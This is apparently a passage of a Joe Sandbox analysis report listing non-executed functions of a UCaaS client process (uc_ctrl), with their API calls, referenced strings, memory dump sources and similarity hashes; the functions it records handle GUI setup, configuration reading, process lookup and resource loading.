Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: File$CreateModuleNamePathReadRemoveSizeSpec
String ID:
API String ID: 2445516684-0
Opcode ID: 1a74aa615463028c4598c693c83857f92e46b06f05b79f9dc69798da8e1b88c0
Instruction ID: 7b5a3bd3d9e5457f656188b6ad139710bc8dd27c2fbafe83a291b6db9787b93d
Opcode Fuzzy Hash: 1a74aa615463028c4598c693c83857f92e46b06f05b79f9dc69798da8e1b88c0
Instruction Fuzzy Hash:

Non-executed Functions

Function 00B36C80 Relevance: 86.3, APIs: 39, Strings: 10, Instructions: 541windowCOMMON

Download Yara Rule

APIs

?SetInstance@CPaintManagerUI@UiLib@@SAXPAUHINSTANCE__@@@Z.UC_GUILIB(?), ref: 00B36CA5
?GetInstancePath@CPaintManagerUI@UiLib@@SA?AVCDuiString@2@XZ.UC_GUILIB(?), ref: 00B36CBC
??HCDuiString@UiLib@@QBE?AV01@PB_W@Z.UC_GUILIB(?,..\data\skins\), ref: 00B36CD2
??BCDuiString@UiLib@@QBEPB_WXZ.UC_GUILIB ref: 00B36CE0
?SetResourcePath@CPaintManagerUI@UiLib@@SAXPB_W@Z.UC_GUILIB(00000000), ref: 00B36CE3
??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB ref: 00B36CF6
?GetInstance@CSkinConfigUI@UiLib@@SAPAV12@XZ.UC_GUILIB(skin.xml), ref: 00B36CFD
?Init@CSkinConfigUI@UiLib@@QAE_NPB_W@Z.UC_GUILIB ref: 00B36D05
??HCDuiString@UiLib@@QBE?AV01@PB_W@Z.UC_GUILIB(?,SkinRes.dll,SKINDATA), ref: 00B36D21
??BCDuiString@UiLib@@QBEPB_WXZ.UC_GUILIB ref: 00B36D29
?SetResourceDll@CPaintManagerUI@UiLib@@SAXPB_W0@Z.UC_GUILIB(00000000), ref: 00B36D2C
??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB ref: 00B36D39

Part of subcall function 00B364F0: GetProcessHeap.KERNEL32(00000000), ref: 00B36531

memset.VCRUNTIME140(?,00000000,00000208), ref: 00B36D68
SHGetMalloc.SHELL32(?), ref: 00B36D83
SHGetSpecialFolderLocation.SHELL32(00000000,00000005,00000000), ref: 00B36D9D
SHGetPathFromIDListW.SHELL32(?,?), ref: 00B36DBA
?GetInstancePath@CPaintManagerUI@UiLib@@SA?AVCDuiString@2@XZ.UC_GUILIB(?), ref: 00B36EDB
??BCDuiString@UiLib@@QBEPB_WXZ.UC_GUILIB ref: 00B36EE2
??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB(00000000), ref: 00B36EF9
memset.VCRUNTIME140(?,00000000,00000200,00B3A9B4,00000000), ref: 00B36F72
GetPrivateProfileStringW.KERNEL32(00B3B144,root_data_path,00000010,?,000000FF,?), ref: 00B36FAA
memmove.VCRUNTIME140(00000007,\config\config.ini,00000024,?,?,?,?), ref: 00B370DB
GetPrivateProfileIntW.KERNEL32(00B3B188,language,00000804,?), ref: 00B37174
??HCDuiString@UiLib@@QBE?AV01@PB_W@Z.UC_GUILIB(?,..\language\,?,?,?,?,?,uc.ini,00000006), ref: 00B371C9
??BCDuiString@UiLib@@QBEPB_WXZ.UC_GUILIB(?,?,?,?,uc.ini,00000006), ref: 00B371D1
?SetLanguagePath@CLanguageUI@UiLib@@SAXPB_W0@Z.UC_GUILIB(00000000,?,?,?,?,uc.ini,00000006), ref: 00B371D8
??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB(?,?,?,?,?,?,uc.ini,00000006), ref: 00B371E5
GdiplusStartup.GDIPLUS(?,?,00000001,?), ref: 00B37225
CoInitialize.OLE32(00000000), ref: 00B3722D
LoadIconW.USER32(?,0000006B), ref: 00B37241
memset.VCRUNTIME140(00000000,00000000,00000834,00000000,?,?,?,?,?,?,uc.ini,00000006), ref: 00B37262
??0WindowImplBase@UiLib@@QAE@XZ.UC_GUILIB(?,?,?,00000000,?,?,?,?,?,?,uc.ini,00000006), ref: 00B3726C
?Create@CWindowWnd@UiLib@@QAEPAUHWND__@@PAU3@PB_WKKPAUHICON__@@HHHHPAUHMENU__@@@Z.UC_GUILIB(00000000,00000000,96C80000,00000000,?,80000000,80000000,80000000,80000000,00000000), ref: 00B3735A
?CenterWindow@CWindowWnd@UiLib@@QAEXHH_N@Z.UC_GUILIB(00000000,00000000,00000001), ref: 00B37368
?ShowWindow@CWindowWnd@UiLib@@QAEX_N0@Z.UC_GUILIB(00000001,00000001), ref: 00B37374
?MessageLoop@CPaintManagerUI@UiLib@@SAXXZ.UC_GUILIB ref: 00B3737A
GdiplusShutdown.GDIPLUS(?), ref: 00B37387
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000001,?), ref: 00B37457
??1CDuiString@UiLib@@QAE@XZ.UC_GUILIB(?,?,00000001,?), ref: 00B374A3

Strings

SKINDATA, xrefs: 00B36D0B
uc.ini, xrefs: 00B36EFD
..\data\skins\, xrefs: 00B36CCC
SkinRes.dll, xrefs: 00B36D10
root_data_path, xrefs: 00B36FA0
\config\config.ini, xrefs: 00B370CB
\UCaaS9 Files\, xrefs: 00B36E46, 00B36E5B
skin.xml, xrefs: 00B36CF8
..\language\, xrefs: 00B371C3
language, xrefs: 00B3716A

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: Lib@@$String@$ManagerPaint$Path@Window$V01@Wnd@memset$ConfigGdiplusInstanceInstance@LanguagePrivateProfileResourceSkinString@2@Window@$Base@CenterCreate@D__@@Dll@E__@@@FolderFromHeapIconImplInit@InitializeListLoadLocationLoop@MallocMessageN__@@PathProcessShowShutdownSpecialStartupStringU__@@@V12@_invalid_parameter_noinfo_noreturnmemmove
String ID: ..\data\skins\$..\language\$SKINDATA$SkinRes.dll$\UCaaS9 Files\$\config\config.ini$language$root_data_path$skin.xml$uc.ini
API String ID: 2682703741-917251667
Opcode ID: 8da53c2d514d5b9efaa0f765f3528bd0a2c59deb80ad312bf52bb1ec1e6c7c35
Instruction ID: 76e60d95e782b4f3226afa41276a9b08d427b34bbd113640fb0bcfaea4d57c26
Opcode Fuzzy Hash: 8da53c2d514d5b9efaa0f765f3528bd0a2c59deb80ad312bf52bb1ec1e6c7c35
Instruction Fuzzy Hash: BF228E712043419BD734DF64CC59F9EB7E5FF84304F2489ACE98A9B291EB74A508CB92

Function 6CF12C80 Relevance: 27.4, APIs: 18, Instructions: 379windowCOMMON

Download Yara Rule

APIs

MessageBeep.USER32 ref: 6CF12CA6
SendMessageW.USER32(?,000000B0,?,?), ref: 6CF12CED

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Message$BeepSend
String ID:
API String ID: 1008054038-0
Opcode ID: 8d8cde5187e880274bad6e66985c630f320920789cc968bd29cf95e25377124d
Instruction ID: 9679504b3e3916848414365aec80c0902263f61307109dd9fe1502f4d41ea78c
Opcode Fuzzy Hash: 8d8cde5187e880274bad6e66985c630f320920789cc968bd29cf95e25377124d
Instruction Fuzzy Hash: BDD10B75A0850CEFCF11CBD4C988EDEBBB9FB09358F104699E511E3A90D731AA499B60

Function 6CF52D52 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 388windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF52D59
BitBlt.GDI32(?,?,?,?,?,?,00000000,00000000,00CC0020), ref: 6CF52F8E
DeleteObject.GDI32(?), ref: 6CF52FA5
MulDiv.KERNEL32(?,00000000,00000064), ref: 6CF53141
MulDiv.KERNEL32(?,00000000,00000064), ref: 6CF5315E
MulDiv.KERNEL32(?,00000000,00000064), ref: 6CF5317D
MulDiv.KERNEL32(6CF0CE03,00000000,00000064), ref: 6CF5319A
MulDiv.KERNEL32(?,00000000,00000064), ref: 6CF531B6
MulDiv.KERNEL32(?,00000000,00000064), ref: 6CF531D3

Strings

d, xrefs: 6CF52DAE

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: DeleteH_prolog3Object
String ID: d
API String ID: 2942389277-2564639436
Opcode ID: da1a1cabfdd9a55e5a457591b879048584ef5e8e39bb8688db3807c39a01814a
Instruction ID: 56ab02b21d162cca1313bcd9900ad52d514da270f7744af4ecaf0e1b72edbc13
Opcode Fuzzy Hash: da1a1cabfdd9a55e5a457591b879048584ef5e8e39bb8688db3807c39a01814a
Instruction Fuzzy Hash: FCE1CC71A0021A9FDB04CFA9DD48AEE7BF0EF58305F504269FA15E7681CB35D925CBA0

Function 6D19EA18 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 263COMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,00000016,?,00000001,00000000), ref: 6D19EA7B
memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,00000016), ref: 6D19EAB3
localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D19EAC3
memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,00000016), ref: 6D19EAFA
memchr.VCRUNTIME140(0123456789abcdefABCDEF,00000000,00000016), ref: 6D19EB30
isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000007,00000007), ref: 6D19EC2C
isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6D19EC55

Strings

-, xrefs: 6D19EC66
0123456789abcdefABCDEF, xrefs: 6D19EA76, 6D19EA93, 6D19EAAE, 6D19EAF5, 6D19EB12, 6D19EB2B

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: memchr$isdigit$localeconv
String ID: -$0123456789abcdefABCDEF
API String ID: 1981154758-65984393
Opcode ID: 440e589490991c5a1e32ded8c719a7673a69e96c78590d3b0200fc989c1e310f
Instruction ID: 2251f4e1bda3a3254f2566f7c72da3a4a550b28eed5c5e22ee297c2fafcc4efe
Opcode Fuzzy Hash: 440e589490991c5a1e32ded8c719a7673a69e96c78590d3b0200fc989c1e310f
Instruction Fuzzy Hash: 7EA1B1B0D092599FDB15CFA8E4803ADBFF5BF4A310F14446EE896EB249D7B09642CB50

Function 6CF06945 Relevance: 13.6, APIs: 9, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetPropW.USER32(?), ref: 6CF0696B
GlobalLock.KERNEL32(00000000), ref: 6CF06974
SendMessageW.USER32(?,00000476,00000000,00000000), ref: 6CF0698F
GlobalUnlock.KERNEL32(00000000), ref: 6CF0699A
RemovePropW.USER32(?), ref: 6CF069A9
GlobalFree.KERNEL32(00000000), ref: 6CF069B4

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Global$Prop$FreeLockMessageRemoveSendUnlock
String ID:
API String ID: 2391254433-0
Opcode ID: d21190ba6e42e229626972f5813ddb7c931fc8b0cc48c9b2a4a151ce3d91f571
Instruction ID: 46dc58dd9321414e63e9e8f8b29941e0a9a1041621b3a22129b1fae238e225a1
Opcode Fuzzy Hash: d21190ba6e42e229626972f5813ddb7c931fc8b0cc48c9b2a4a151ce3d91f571
Instruction Fuzzy Hash: C221C232340601ABDB196F31CD18B1A7B79FB4AB49F108028FD56E6D61DB71D491EB60

Function 6CEFE966 Relevance: 12.1, APIs: 8, Instructions: 131fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CEFE970
GetFullPathNameW.KERNEL32(?,00000104,00000000,?,00000268,6CEFE236,?,?,00000000,?,6CF019C3,00000024,?,?,?), ref: 6CEFE9A0

Part of subcall function 6CEEFBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBB9

PathIsUNCW.SHLWAPI(?,?,?,00000000,?,6CF019C3,00000024,?,?,?), ref: 6CEFEA18
GetVolumeInformationW.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,6CF019C3,00000024,?,?,?), ref: 6CEFEA3C
CharUpperW.USER32(?,?,6CF019C3,00000024,?,?,?), ref: 6CEFEA6A
FindFirstFileW.KERNEL32(?,?,?,6CF019C3,00000024,?,?,?), ref: 6CEFEA82
FindClose.KERNEL32(00000000,?,6CF019C3,00000024,?,?,?), ref: 6CEFEA8E
_wcslen.LIBCMT ref: 6CEFEAAD

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: FindPath$CharCloseException@8FileFirstFullH_prolog3_InformationNameThrowUpperVolume_wcslen
String ID:
API String ID: 3015096244-0
Opcode ID: eecf2aafd650a03e466b65124b99d023e8077790fce4ef2b2c533817e7747c77
Instruction ID: a65de18cb397ab100f6db0377799b479fa0e1c16670b2ac3ecf2ebcc064bab4f
Opcode Fuzzy Hash: eecf2aafd650a03e466b65124b99d023e8077790fce4ef2b2c533817e7747c77
Instruction Fuzzy Hash: CE41C970905E15AFEB14EB64CC88FEE737DBF05348F204698E42593650EB31BE468EA0

Function 6CF06E75 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 194comCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF06E7F
GetVersionExW.KERNEL32(00000114), ref: 6CF06F07
_wcschr.LIBVCRUNTIME ref: 6CF07067
CoInitializeEx.OLE32(00000000,00000002), ref: 6CF07091
CoCreateInstance.OLE32(6D07FE2C,00000000,00000001,6D0581E4,?), ref: 6CF070D8

Strings

@, xrefs: 6CF06FEA

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CreateH_prolog3_InitializeInstanceVersion_wcschr
String ID: @
API String ID: 2940554968-2766056989
Opcode ID: 137e3ad25d25643b59d155d52a7c0371e6d24d2374548747822228bb919d7fd2
Instruction ID: 81c55d04bc67c61347d964e52a9bcf66bcc232332aa469d747a7962cddbf547f
Opcode Fuzzy Hash: 137e3ad25d25643b59d155d52a7c0371e6d24d2374548747822228bb919d7fd2
Instruction Fuzzy Hash: 6C8157B0B05716AFE758CF24C854BDAB7B4BF09714F00429AE958D7380DB30A968CF91

Function 00B33840 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 190processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00B3388C

Part of subcall function 00B364F0: GetProcessHeap.KERNEL32(00000000), ref: 00B36531

Part of subcall function 00B34CB0: FindResourceExW.KERNEL32(00000000,00000006,?,00000000,00000000,00B32370,00000000,?,00000000,?,00B34BE1,00B32370,?,?,00000000,00000000), ref: 00B34CF6

Process32FirstW.KERNEL32(00000000,?), ref: 00B338FC
_wcslwr_s.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?), ref: 00B339A3
wcsstr.VCRUNTIME140(?,000000FF), ref: 00B339C9
Process32NextW.KERNEL32(?,0000022C), ref: 00B33A25

Strings

ucaas.exe, xrefs: 00B338BC, 00B338D6

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: Process32$CreateFindFirstHeapNextProcessResourceSnapshotToolhelp32_wcslwr_swcsstr
String ID: ucaas.exe
API String ID: 646775109-2257421106
Opcode ID: 337af6869738fdaa37f7510e4fffff66326f32195b5be0d5b1014f3b5bce377c
Instruction ID: 9e041b233f807faf4c33da7c690d807534b122e07eefd5e7eabbb6c3447eae37
Opcode Fuzzy Hash: 337af6869738fdaa37f7510e4fffff66326f32195b5be0d5b1014f3b5bce377c
Instruction Fuzzy Hash: 4C61B4319006099BDB24DF68CC59BAFB7F8EF04711F2042E9E84AA7291EB749E44CF51

Function 6D1BA720 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0(00000022,00000000,00000002,?,0000000B,?,6D1BC43F,00000034,6D1BB839,?,00000004,6D1BB7F1,00000000,00000000,0000003C,6D1BD869), ref: 6D1BA734
__crtGetLocaleInfoEx.MSVCP140(?,?,0000000B,?,6D1BC43F,00000034,6D1BB839,?,00000004,6D1BB7F1,00000000,00000000,0000003C,6D1BD869,?), ref: 6D1BA73D

Strings

2, xrefs: 6D1BA758

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: InfoLocale___lc_locale_name_func__crt
String ID: 2
API String ID: 2625200093-450215437
Opcode ID: 050491003b4b6d11106e0b0733e4971f85ffcea1a598433ef3dcd8c098b94b3c
Instruction ID: 244c67e481b2e2ddc8c6ea789c07f4264a8666e02e8b54e80176f90ad118678d
Opcode Fuzzy Hash: 050491003b4b6d11106e0b0733e4971f85ffcea1a598433ef3dcd8c098b94b3c
Instruction Fuzzy Hash: 2FF03779D59208BEEB01DA949E85AAEB2B8E70134CF208195E50442141E7F25E949151

Function 00B36290 Relevance: 4.5, APIs: 3, Instructions: 47COMMON

Download Yara Rule

APIs

LoadResource.KERNEL32(00000000,00000000,00000001,00000000,?,?,00B34D0C,00B32370,?,00000000,00000000,00B32370,00000000,?,00000000), ref: 00B3629C
LockResource.KERNEL32(00000000,?,?,00B34D0C,00B32370,?,00000000,00000000,00B32370,00000000,?,00000000,?,00B34BE1,00B32370), ref: 00B362A7
SizeofResource.KERNEL32(00000000,00000000,?,?,00B34D0C,00B32370,?,00000000,00000000,00B32370,00000000,?,00000000,?,00B34BE1,00B32370), ref: 00B362B5

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: ca6eb8a6d05d1d0d94e58f6d4646832136d0b6c30c8040217d2a3fcd6cad7487
Instruction ID: a2102efccbdea20dd7d3d075838fcc8acdad7bdae86176b92f19e577dd743bba
Opcode Fuzzy Hash: ca6eb8a6d05d1d0d94e58f6d4646832136d0b6c30c8040217d2a3fcd6cad7487
Instruction Fuzzy Hash: A8F0F632E00225678B341B5EAC4887BF7DCEB91725B36897FFD89D3110E965DC4486D4

Function 6CEE2940 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?RemoveBindTabIndex@COptionUI@UiLib@@QAEXXZ,00000000,00000000), ref: 6CEE294B

Strings

?RemoveBindTabIndex@COptionUI@UiLib@@QAEXXZ, xrefs: 6CEE2944

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Message
String ID: ?RemoveBindTabIndex@COptionUI@UiLib@@QAEXXZ
API String ID: 2030045667-165758850
Opcode ID: 64afd50195d5c172afb2ccf97f9959a0e4ca3c5d90db77906ce052e2417077ef
Instruction ID: c0d0f2974d59f32dcf45ef3bc3c2c9f9becc3aa20d174b292268dc2159755ab6
Opcode Fuzzy Hash: 64afd50195d5c172afb2ccf97f9959a0e4ca3c5d90db77906ce052e2417077ef
Instruction Fuzzy Hash: 9FB00230288204FAFB641F559D47F243570EB05B46F505055F615681D547F554505655

Function 6D1A6CA0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,6D195630,?), ref: 6D1A6D43

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 39d911ddae09f8da80d16fd6377a5469e9ae7e47f78ef1bf86aef081564e1bbe
Instruction ID: fcf31d8cbd7f5dbecb621d65c0c5246fedd24f086937652a54888dd99441b3b3
Opcode Fuzzy Hash: 39d911ddae09f8da80d16fd6377a5469e9ae7e47f78ef1bf86aef081564e1bbe
